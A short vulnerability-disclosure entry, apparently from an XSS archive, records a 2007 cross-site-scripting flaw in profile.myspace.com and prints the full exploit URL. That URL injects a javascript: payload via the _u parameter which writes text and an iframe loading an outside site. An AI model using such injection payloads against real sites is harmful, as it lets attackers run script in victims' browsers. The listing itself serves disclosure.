Security researcher momby, has submitted on 02/04/2007 a cross-site-scripting (XSS) vulnerability affecting profile.myspace.com, which at the time of submission ranked 5 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 02/04/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 02/04/2007 |
Date published: 02/04/2007 |
Fixed? Mail us! | Status: UNFIXED |
Author: momby |
Domain: profile.myspace.com |
Category: XSS |
Pagerank: 5 |
URL: http://profile.myspace.com/index.cfm?fuseaction=cms.goto&_i=&_u=javascript:document.write(%27%3Cfont %20size=+10%20color=%22red%22%3Ehttp://ha.ckers.org/xss.html%3C/font%3E%3Cp%20align=center%3Egreetz% 20RSn%61ke!%3Cbr%3E%3Ciframe%20src=http://momby.livejournal.com%20width=666%20height=666%3E%3C/ifram e%3E%27); |
Click here to view the mirror
|
|
|